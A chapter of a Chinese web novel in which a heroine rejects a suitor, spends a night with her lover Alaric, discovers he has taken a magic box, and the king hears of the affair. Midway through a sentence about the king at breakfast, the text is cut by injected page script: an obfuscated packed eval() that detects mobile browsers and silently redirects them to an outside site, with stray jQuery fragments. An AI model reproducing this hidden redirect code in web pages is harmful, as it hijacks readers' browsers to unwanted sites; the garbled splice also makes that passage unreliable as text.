58. 国王的绿帽子

作品:《月光森林的黑女士

    “木文萨,求求你,跟我走吧。”


    达米尔还是来找她了,两人虽然没有直接见面,虽然只是透过鸟儿的传信,在那一张张沾满泪痕的纸上,无不陈述着达米尔的恳求。


    她坐在桌边,目光无意识地扫到抽屉,那里放着诡计之神的魔盒,随即提笔回信,“抱歉,达米尔,我不能那么做。”


    写好之后,绑在鸟儿的腿上。鸟儿很快飞走,绕过中庭和花圃,在一个微不足道的角落停下。


    五分钟后,鸟儿再次飞了回来。


    “为什么,你跟我走,我带你回我的国家,请求我父王的庇护。”


    “抱歉,如果用其他理由来拒绝,想必你也不甘心,所以我就实话实说了。达米尔,抱歉,我不想跟你走……我没法欺骗自己。”


    此信一出,她再也没有收到回信,独自望着抽屉发呆,思绪却转得很快。


    魔盒…能够实现愿望的魔盒,能否实现她如此卑微、卑鄙的心愿吗?


    当天晚上,当微弱的煤油灯照耀在她和阿拉里克脸上时,她一个不留神,随口提起了白天这件事。


    阿拉里克显然看起来有点紧张,“那你,真的不会跟他走吗?”


    他像个无助的孩子,卑微地反复询问,眼睛湿漉漉的,像只可怜的小狗。


    “不会。”


    她心里一片柔软,伸出手臂将他拉入怀中,手掌在背后轻拍着,像在哄一个孩子。


    “我不会跟他走。”


    阿拉里克显然并不相信,拧着的眉头就没松开过,即使她反复保证,他也没有点过一次头,没有对此发表过一句感言,只是说。


    “木文萨,我今晚能在你这里过夜吗,什么都不做,我只是想看着你,抱着你一起入睡,可以吗?”


    木文萨有些错愕,她没有与男孩子共处一床过夜的经历,心里有些尴尬,但不抗拒。


    见她犹豫,阿拉里克乘胜追击,“就只有今晚,好不好,求求你,我真的很害怕失去你……”


    他很会伪装,也不能说是伪装,因为无论是真的假的也好,都很像。


    木文萨知道他从小的生活环境恶劣,明白他有时候为了生存总是需要带上一副假面。她同样明白自己,无论是真的也好假的也罢,她抵抗不了这样的阿拉里克。


    “好吧,那就今晚。”


    好在露露最近被允许在楼梯口打地铺,不会进来打扰他们,不然她根本不知道该怎么解释。


    但……当灯一熄灭,当他们俩温柔的身体靠在一起,木文萨…后悔了……


    如果现在给她一颗后悔药,她一定毫不犹豫,马不停蹄,塞嘴里。


    说好的只是躺在一起呢,这狗男人,在她身上摸来摸去,上下其手,时不时亲亲她的额头,时不时贴贴她的嘴唇,又时不时,在她大腿根部摸来摸去。


    “老实一点…”


    “不要嘛…我们好不容易,睡在一张床上。”


    说着,又把她的身子转过来,转头在她耳旁落下温柔一吻。


    一边亲,还要一边问,像是反复确认着什么,“木文萨,我总觉得自己不够好,配不上你。既不能无所顾虑地保护你,也不像你那样神通广大呼风唤雨,你究竟喜欢我哪里呀,这一切,包括眼前的你,都是真实存在的吗?”


    木文萨拉开他乱摸的双手,耐心哄着,“你看得见,也摸得着,怎么会是虚假的呢?”


    “你说的对,”他自嘲一笑,“我既看得见也摸得着,眼前的一切,都是真实存在的。可是我,还是会害怕,你觉得是为什么?”


    “可能是你对自己很有自知之明吧。”木文萨半开玩笑地说。


    “什么自知之明?”他故意贴着木文萨的耳垂说话,呼吸带来阵阵的气流,痒痒的。


    “就是…”她也说不清,正愁,一双往上乱摸的手打断了她的思绪。


    手的主人还一脸贼兮兮地问,“是什么?”


    “阿拉里克,”终于,在被他再一次蹬鼻子上脸后,她气得连牙齿都在用力,愤怒暴起,从床上坐了起来。


    “怎么了怎么了…”身为罪魁祸首的男人装得一脸无辜。


    她愤怒的声音从齿缝里溢出来,“你说呢?”


    “啊?我说,我说什么?”


    狗男人装的何其无辜,仿佛木文萨真的冤枉了他。


    “你说呢!!”木文萨感觉到自己的脸烧了起来,她又难以启齿,恨不得一巴掌把这男人扫到床下去。


    “怎么嘛~你说啊,别生气,只要你说,我一定改,别生气好不好。”


    他惯会撒娇的,透过浓浓的夜色,木文萨都能看见他在偷笑,但嘴上还要摆出一副“我明明很委屈但我还要哄你”的态度,欠揍极了。


    她气得想爆粗口,但还是只说了一句,“老娘数到三!!三…”


    “木文萨,我到底做错了哪里,让我死个明白。”


    “二……”


    “木文萨,你好冷漠,我还是不是你最爱的阿拉里克了…”


    “一……”


    她气得咬碎了后槽牙,每逢这种时候,她就开始后悔自己为什么要跟这个男人纠缠不休,耗费精力,耗费力气,还鸡同鸭讲。


    “好吧,我错了,我乖乖睡觉。”


    还好就在她即将要催生种子的时候,这个家伙终于识相了,被子一卷,背靠着木文萨老实睡了。


    清晨,当鸟儿的歌声将她唤醒,无意识之中一摸身侧,一片冰凉。


    她的瞌睡一扫而空,从床上坐了起来,低头一看,身边已经没有阿拉里克的身影。仿佛昨晚,就是一场遥不可及的美梦。


    “木文萨,起来洗漱。”


    露露的声音,隔着宫廷厚重的门板传来。


    “我知道了,就来。”


    她匆忙穿鞋下床,路过梳妆台时,发现抽屉被打开了。


    不好,那个抽屉里面,放着被她暂时用藤蔓封印的魔盒。


    果然,她冲过去一看,抽屉里的魔盒已经不见了。


    是阿拉里克,他拿走了魔盒。


    与此同时王宫深处,国王正在吃早餐,他用胖乎乎的手拿着叉子,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235539|195876||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    正在扒拉盘子里的干硬面包。


    他皱着眉头,不情不愿的吃了两口面包。这时,门外侍卫长领着一大群人咚咚咚地走近这里。他们没有急着进来,而是在门外喊了一声。


    “陛下,我这里有重要的事情告知?”


    国王吃饭被打断,表情很难看,但又如释重负地放下了手上的叉子。他心想,自己如果整日都吃这种面包,那肯定会疯的。


    可是那些大臣都劝自己减肥,还说什么为了他的身体着想。狗屁不通,他平时哪会在乎这些,可是又有人说,一个即将新婚的新郎,当然应该以最完美的姿态来面对美丽的新娘。


    好吧,姑且他认可了这个说法,只好风风火火的就开始减肥。


    这面包真不是人吃的东西,他居然每天都要吃一顿,这一顿简直是要了他的命,每次都吃不饱,还没到下一个饭点就饿了。


    他早就不想吃这东西了,多次抗议。那群大臣充耳不闻,继续上书,买通了宫里的女仆照顾他的饮食。


    烦都烦死了,今天,多亏了侍卫长救他。


    “进来吧。”他故作深沉,一只手臂撑着头,靠在餐桌上。


    身边的女仆站着一动不动,没有一个表现出想要给他收盘子的打算。


    这可不妙啊,得跟侍卫长多聊几句。


    “咳咳……”


    中年的侍卫长领着好几个士兵走进了王室宽阔的餐厅,这里头顶悬挂着绚烂的水晶灯。墙上的油画已经褪色,但仍不减画中之人当年的风采,栩栩如生。


    他的目光在四周扫过,他大概也是第一次来这里,还特地交代了士兵在门外等好,自己先进去,关上了餐厅大门。


    “陛下,我这里有一件大事,不知道你想听还是不想听?”


    “都让你进来了,能是不想听吗?快说。”国王一边盯着他看,一边用余光扫到身旁的餐盘上,时不时又留意着女仆们的动作。


    “那我可要说了……”侍卫长看起来有些欲言又止,“您要有心理准备。”


    “呵……需要什么心理准备?我已经拥有了权力和地位,就差一位心爱的女子做我的妻子。如今我新妻子也有了,马上就要结婚。你没看她多美呀,只要我一闭眼就能想起,她娇艳的唇瓣,薄红的脸颊,还有那头及腰长发,她就像夜晚的精灵那样可爱。”他的语气带着炫耀。


    “陛下……”侍卫长有些尴尬,“我的手下早上起夜,看见阿拉里克殿下从您未婚妻房间的窗户上爬下来。”


    国王的笑容僵住了,嘴角抽了抽。


    试图挽尊,自欺欺人。


    “也许……是阿拉里克殿下正巧路过那里?”


    光明正大被戴绿帽子这件事还是太丢脸了,他死不承认,脸皮烧得像能烫熟鸡蛋,不敢相信。


    “陛下啊…”可惜侍卫长是个直来直去的性子,脑筋也不怎么会拐弯,他长叹一口气,用那种怜悯的、可怜的眼神看着他,“你见过哪个男人大晚上在女孩子的房间过夜只是因为路过?”


    “崩…”国王脑子里那根弦,彻底断了。